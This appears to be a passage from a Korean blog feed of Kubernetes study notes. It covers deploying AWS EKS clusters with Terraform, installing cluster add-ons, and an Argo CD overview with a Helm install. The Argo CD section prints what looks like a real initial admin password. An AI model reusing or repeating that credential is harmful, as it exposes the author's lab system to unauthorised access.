&lt;pre id=&quot;code_1713703760034&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# plan 실행 시 아래와 같은 정보가 출력
terraform plan
# aws_instance.example will be updated in-place
  ~ resource &quot;aws_instance&quot; &quot;example&quot; {
        id                                   = &quot;ami-0a0064415cdedc552&quot;
      ~ tags                                 = {
          + &quot;Name&quot; = &quot;t101-study&quot;
        }
      ~ tags_all                             = {
          + &quot;Name&quot; = &quot;t101-study&quot;
        }
        # (29 unchanged attributes hidden)

        # (7 unchanged blocks hidden)
    }

Plan: 0 to add, 1 to change, 0 to destroy.

# apply 실행
terraform apply
 Enter a value: yes 입력

# 모니터링 : [터미널1]에 Name 확인&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;삭제&lt;/h4&gt;
&lt;pre id=&quot;code_1713703776344&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 리소스 삭제
terraform destroy
 Enter a value: yes 입력

혹은
terraform destroy -auto-approve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Terraform 으로 EKS 배포&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;첫 번째 EKS 클러스터 &lt;span data-token-index=&quot;1&quot;&gt;배포&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 생성 자원 : VPC, Subnet, IGW, NATGW, Routing Table, EKS, EKS SG&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713845287949&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 코드 가져오기
git clone https://github.com/gasida/aews-cicd.git
cd aews-cicd/4

# terraform 환경 변수 저장
export TF_VAR_KeyName=[각자 ssh keypair]
export TF_VAR_KeyName='kp-gasida'
echo $TF_VAR_KeyName

# 
terraform init
terraform plan

# 10분 후 배포 완료
terraform apply -auto-approve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;배포 정보 확인 및 기타 설치&lt;/h4&gt;
&lt;pre id=&quot;code_1713845393184&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EKS 클러스터 인증 정보 업데이트
CLUSTER_NAME=myeks
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME
kubectl config rename-context &quot;arn:aws:eks:ap-northeast-2:$(aws sts get-caller-identity --query 'Account' --output text):cluster/$CLUSTER_NAME&quot; &quot;Aews-Labs&quot;

#
kubectl get node -v=6
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -A

#
# ExternalDNS
MyDomain=&amp;lt;자신의 도메인&amp;gt;
MyDomain=dns4u.link
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name &quot;${MyDomain}.&quot; --query &quot;HostedZones[0].Id&quot; --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst &amp;lt; externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ=&quot;Asia/Seoul&quot; --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{&quot;spec&quot;:{&quot;type&quot;:&quot;LoadBalancer&quot;}}'
kubectl annotate service kube-ops-view -n kube-system &quot;external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain&quot;
echo -e &quot;Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5&quot;

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# gp3 스토리지 클래스 생성
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLJgMW/btsGRZ55NGL/67vcrJZD6q1oJiJFa9svyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLJgMW/btsGRZ55NGL/67vcrJZD6q1oJiJFa9svyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLJgMW/btsGRZ55NGL/67vcrJZD6q1oJiJFa9svyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLJgMW%2FbtsGRZ55NGL%2F67vcrJZD6q1oJiJFa9svyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;297&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7frDA/btsGR0Ye5Zc/qbcMLS6lBiQQJc1IKkAtDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7frDA/btsGR0Ye5Zc/qbcMLS6lBiQQJc1IKkAtDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7frDA/btsGR0Ye5Zc/qbcMLS6lBiQQJc1IKkAtDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7frDA%2FbtsGR0Ye5Zc%2FqbcMLS6lBiQQJc1IKkAtDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;368&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;두 번째 EKS 클러스터 배포 : 코드 재사용 검증&lt;/h4&gt;
&lt;pre id=&quot;code_1713845475872&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#
cd ..
mkdir 5
cd 5
cp ../4/*.tf .
ls

# 정상 배포 확인
terraform init
terraform apply -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion=&quot;1.28&quot;

# EKS 클러스터 인증 정보 가져오기
CLUSTER_NAME2=myeks2
aws eks update-kubeconfig --region ap-northeast-2 --name $CLUSTER_NAME2 --kubeconfig ./myeks2config

# EKS 클러스터 정보 확인
kubectl --kubeconfig ./myeks2config get node 
kubectl --kubeconfig ./myeks2config get pod -A&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqWyMo/btsGQ4mMuEf/mDiJ7BJDDwcnCz4Tymm5GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqWyMo/btsGQ4mMuEf/mDiJ7BJDDwcnCz4Tymm5GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqWyMo/btsGQ4mMuEf/mDiJ7BJDDwcnCz4Tymm5GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqWyMo%2FbtsGQ4mMuEf%2FmDiJ7BJDDwcnCz4Tymm5GK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;457&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;삭제&lt;/span&gt; : 디렉터리(폴더) 진입 후 각각 삭제&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫번째 클러스터 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713845511991&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CLB는 terraform으로 배포하지 않고 직접 수동으로 배포되었으니, 수동으로 삭제를 해주어야 함
helm uninstall kube-ops-view --namespace kube-system

# 클러스터 삭제
terraform destroy -auto-approve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두번째 클러스터 삭제&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713845528498&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 클러스터 삭제
terraform destroy -auto-approve -var=ClusterBaseName=myeks2 -var=KubernetesVersion=&quot;1.28&quot;&lt;/code&gt;&lt;/pre&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/19</guid>
      <comments>https://imxsuu.tistory.com/19#entry19comment</comments>
      <pubDate>Sun, 21 Apr 2024 21:52:53 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] EKS CI/CD - Argo</title>
      <link>https://imxsuu.tistory.com/18</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Argo CD&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;소개&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Argo CD는 Kubernetes를 위한 선언적(declarative) GitOps &lt;span data-token-index=&quot;0&quot;&gt;ontinuous delivery tool&lt;/span&gt;입니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;애플리케이션 정의, 구성 및 환경은 선언적이어야 하며 버전이 제어되어야 합니다.&lt;/li&gt;
&lt;li&gt;애플리케이션 배포 및 수명주기 관리는 자동화되고 감사 가능(auditable)하며 이해하기 쉬워야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Argo&amp;nbsp;CD는&amp;nbsp;원하는&amp;nbsp;애플리케이션&amp;nbsp;상태를&amp;nbsp;정의하기&amp;nbsp;위한&amp;nbsp;정보&amp;nbsp;소스로&amp;nbsp;Git&amp;nbsp;저장소를&amp;nbsp;사용하는&amp;nbsp;GitOps&amp;nbsp;패턴을&amp;nbsp;따릅니다.&amp;nbsp;Kubernetes&amp;nbsp;매니페스트는&amp;nbsp;여러&amp;nbsp;가지&amp;nbsp;방법으로&amp;nbsp;지정할&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://kustomize.io/&quot;&gt;kustomize&lt;/a&gt;&amp;nbsp;applications&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://helm.sh/&quot;&gt;helm&lt;/a&gt;&amp;nbsp;charts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsonnet.org/&quot;&gt;jsonnet&lt;/a&gt;&amp;nbsp;files&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Plain directory&lt;/b&gt; of YAML/json manifests&lt;/li&gt;
&lt;li&gt;Any custom config management tool configured as a config management plugin&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;구조&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;708&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7QesZ/btsGHbMDJXf/9vRyAepFKqGxPsVDeN4Vo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7QesZ/btsGHbMDJXf/9vRyAepFKqGxPsVDeN4Vo0/img.png&quot; data-alt=&quot;https://argo-cd.readthedocs.io/en/stable/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7QesZ/btsGHbMDJXf/9vRyAepFKqGxPsVDeN4Vo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7QesZ%2FbtsGHbMDJXf%2F9vRyAepFKqGxPsVDeN4Vo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;708&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;708&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://argo-cd.readthedocs.io/en/stable/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오후 8.58.30.png&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qoZmR/btsGG7wQp7n/8gMXMzX7nrmI97SlpT33Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qoZmR/btsGG7wQp7n/8gMXMzX7nrmI97SlpT33Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qoZmR/btsGG7wQp7n/8gMXMzX7nrmI97SlpT33Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqoZmR%2FbtsGG7wQp7n%2F8gMXMzX7nrmI97SlpT33Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1282&quot; height=&quot;286&quot; data-filename=&quot;스크린샷 2024-04-16 오후 8.58.30.png&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;API Server : Web UI 대시보드, k8s api 처럼 API 서버 역할&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;API&amp;nbsp;서버는&amp;nbsp;웹&amp;nbsp;UI,&amp;nbsp;CLI&amp;nbsp;및&amp;nbsp;CI/CD&amp;nbsp;시스템에서&amp;nbsp;사용되는&amp;nbsp;API를&amp;nbsp;노출하는&amp;nbsp;gRPC/REST&amp;nbsp;서버입니다.&amp;nbsp;다음과&amp;nbsp;같은&amp;nbsp;책임이&amp;nbsp;있습니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;애플리케이션&amp;nbsp;관리&amp;nbsp;및&amp;nbsp;상태&amp;nbsp;보고&lt;/li&gt;
&lt;li&gt;애플리케이션 작업 호출(예: 동기화, 롤백, 사용자 정의 작업)&lt;/li&gt;
&lt;li&gt;저장소 및 클러스터 자격 증명 관리(k8s Secret으로 저장)&lt;/li&gt;
&lt;li&gt;외부 ID 공급자에 대한 인증 및 인증 위임&lt;/li&gt;
&lt;li&gt;RBAC 시행&lt;/li&gt;
&lt;li&gt;Git&amp;nbsp;웹훅&amp;nbsp;이벤트용&amp;nbsp;리스너/전달자&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Repository Server : Git 연결 및 배포할 yaml 생성&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;레파지토리 서버는&amp;nbsp;애플리케이션&amp;nbsp;매니페스트를&amp;nbsp;보관하는&amp;nbsp;Git&amp;nbsp;레파지토리의&amp;nbsp;로컬&amp;nbsp;캐시를&amp;nbsp;유지&amp;nbsp;관리하는&amp;nbsp;내부&amp;nbsp;서비스입니다.&amp;nbsp;다음&amp;nbsp;입력이&amp;nbsp;제공되면&amp;nbsp;Kubernetes&amp;nbsp;매니페스트를&amp;nbsp;생성하고&amp;nbsp;반환하는&amp;nbsp;일을&amp;nbsp;담당합니다.&lt;/li&gt;
&lt;li&gt;레파지토리 URL&lt;/li&gt;
&lt;li&gt;개정 (commit, tag, branch)&lt;/li&gt;
&lt;li&gt;application 경로&lt;/li&gt;
&lt;li&gt;템플릿별 설정: parameters, helm value.yaml&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Application Controller : k8s 리소스 모니터링, Git과 비교&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;애플리케이션&amp;nbsp;컨트롤러는&amp;nbsp;실행&amp;nbsp;중인&amp;nbsp;애플리케이션을&amp;nbsp;지속적으로&amp;nbsp;모니터링하고&amp;nbsp;현재&amp;nbsp;라이브&amp;nbsp;상태를&amp;nbsp;원하는&amp;nbsp;대상&amp;nbsp;상태(repo에&amp;nbsp;지정된&amp;nbsp;대로)와&amp;nbsp;비교하는&amp;nbsp;Kubernetes&amp;nbsp;컨트롤러입니다.&amp;nbsp;OutOfSync&amp;nbsp;애플리케이션&amp;nbsp;상태를&amp;nbsp;감지하고&amp;nbsp;선택적으로&amp;nbsp;수정&amp;nbsp;조치를&amp;nbsp;취합니다.&amp;nbsp;수명&amp;nbsp;주기&amp;nbsp;이벤트(PreSync,&amp;nbsp;Sync,&amp;nbsp;PostSync)에&amp;nbsp;대한&amp;nbsp;사용자&amp;nbsp;정의&amp;nbsp;후크&amp;nbsp;호출을&amp;nbsp;담당합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Redis&lt;/b&gt; : k8s api와 git 요청을 줄이기 위한 캐싱&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Notification&lt;/b&gt; : 이벤트 알림, 트리거&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Dex&lt;/b&gt; : 외부 인증 관리 (예: keycloak)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ApplicationSet Controller&lt;/b&gt; : 멀티 클러스터를 위한 App 패키징 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;기능&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지정된 대상 환경에 애플리케이션 자동 배포&lt;/li&gt;
&lt;li&gt;여러 구성 관리/템플릿 도구 지원(Kustomize, Helm, Jsonnet, plain-YAML)&lt;/li&gt;
&lt;li&gt;여러 클러스터를 관리하고 배포하는 기능&lt;/li&gt;
&lt;li&gt;SSO 통합(OIDC, OAuth2, LDAP, SAML 2.0, GitHub, GitLab, Microsoft, LinkedIn)&lt;/li&gt;
&lt;li&gt;승인을 위한 Multi-tenancy 및 RBAC 정책&lt;/li&gt;
&lt;li&gt;Git 저장소에 커밋된 모든 애플리케이션 구성으로 Rollback/Roll-anywhere&lt;/li&gt;
&lt;li&gt;애플리케이션 resources의 Health&amp;nbsp;status 분석&lt;/li&gt;
&lt;li&gt;자동화된 configuration drift detection과 visualization&lt;/li&gt;
&lt;li&gt;애플리케이션을 원하는 상태로 자동 또는 수동 동기화&lt;/li&gt;
&lt;li&gt;애플리케이션 활동을 실시간으로 볼 수 있는 웹 UI&lt;/li&gt;
&lt;li&gt;자동화 및 CI 통합을 위한 CLI&lt;/li&gt;
&lt;li&gt;웹훅&amp;nbsp;통합(GitHub,&amp;nbsp;BitBucket,&amp;nbsp;GitLab)&lt;/li&gt;
&lt;li&gt;자동화를 위한 액세스 토큰&lt;/li&gt;
&lt;li&gt;복잡한 애플리케이션 롤아웃(예: 블루/그린 및 카나리아 업그레이드)을 지원하는 PreSync, Sync, PostSync  hooks&lt;/li&gt;
&lt;li&gt;애플리케이션 이벤트 및 API 호출에 대한 감사 추적(audit trails)&lt;/li&gt;
&lt;li&gt;Prometheus&amp;nbsp;metrics&lt;/li&gt;
&lt;li&gt;Git에서 helm 매개변수를 재정의하기 위한 parameters 재정의&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;핵심 개념&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; Application&lt;/b&gt; : 매니페스트에 정의된 Kubernetes 리소스 그룹입니다. 이는 CRD(사용자 정의 리소스 정의)입니다.&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Application source type&lt;/b&gt; :&lt;/span&gt; 애플리케이션을 빌드하는 데 사용되는 도구입니다.&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;Target state&lt;/span&gt;&lt;/b&gt; : &lt;/span&gt;Git 레파지토리의 파일로 표시되는 애플리케이션의 원하는 상태입니다.&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Live state&lt;/b&gt; :&lt;/span&gt; 배포되는 파드 등은 무엇인지에 대한 &lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;해당 애플리케이션의 라이브 상태입니다.&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;Sync status&lt;/span&gt;&lt;/b&gt; : 라이브 상태가 대상 상태와 일치하는지 여부입니다. (배포된 애플리케이션이 Git과 동일한지)&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Sync&lt;/b&gt; :&lt;/span&gt; 애플리케이션을 대상 상태로 이동시키는 프로세스입니다. (예: Kubernetes 클러스터에 변경 사항을 적용합니다.)&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Sync operation status&lt;/b&gt; :&lt;/span&gt; 동기화 성공 여부입니다.&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Refresh&lt;/b&gt; :&lt;/span&gt; Git의 최신 코드를 실제 상태와 비교합니다. 무엇이 다른지 알아챕니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Health&lt;/b&gt; : 애플리케이션의 상태가 올바르게 실행되고 있는지, 요청을 처리할 수 있는지 체크합니다.&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Tool&lt;/b&gt; : &lt;/span&gt;파일 디렉토리에서 매니페스트를 생성하는 도구입니다. (예: Kustomize. &lt;b&gt;Application source type&lt;/b&gt; 참조)&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;&lt;span data-token-index=&quot;0&quot;&gt;Configuration management tool&lt;/span&gt;&lt;/b&gt; : Tool 참조&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;b&gt;Configuration management plugin&lt;/b&gt; :&lt;/span&gt;&amp;nbsp;사용자 정의 도구입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;설치&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;현재 실습 환경에 설치하기 위해서는 ALB Ingress에 맞는 &lt;a href=&quot;https://artifacthub.io/packages/helm/argo/argo-cd#aws-application-load-balancer&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;helm config 설정&lt;/a&gt;을 통해 설치를 해야 합니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;aws는 gRPC 트래픽에 대한 추가 서비스를 생성하므로 ingressGrpc 섹션을 사용할 필요가 없습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713266483135&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# helm 설치
cat &amp;lt;&amp;lt;EOT &amp;gt; argocd-values.yaml
global:
  domain: argocd.$MyDomain

configs:
  params:
    server.insecure: true

controller:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

server:
  ingress:
    enabled: true
    controller: aws
    ingressClassName: alb
    hostname: &quot;argocd.$MyDomain&quot;
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/backend-protocol: HTTP
      alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:80}, {&quot;HTTPS&quot;:443}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/ssl-redirect: '443'
    aws:
      serviceType: ClusterIP
      backendProtocolVersion: GRPC
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

repoServer:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

applicationSet:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true

notifications:
  metrics:
    enabled: true
    serviceMonitor:
      enabled: true
EOT

kubectl create ns argocd
helm repo add argo https://argoproj.github.io/argo-helm
helm install argocd argo/argo-cd --version 6.7.11 -f argocd-values.yaml --namespace argocd

# 확인
kubectl get ingress,pod,svc -n argocd
kubectl get crd | grep argo
applications.argoproj.io                     2024-04-14T08:12:16Z
applicationsets.argoproj.io                  2024-04-14T08:12:17Z
appprojects.argoproj.io                      2024-04-14T08:12:16Z

# 최초 접속 암호 확인
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath=&quot;{.data.password}&quot; | base64 -d ;echo
MC3y8rzzECTIAHSB&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최초 접속 https://argocd.&amp;lt;자신의도메인&amp;gt; admin / &amp;lt;최초 접속 암호&amp;gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
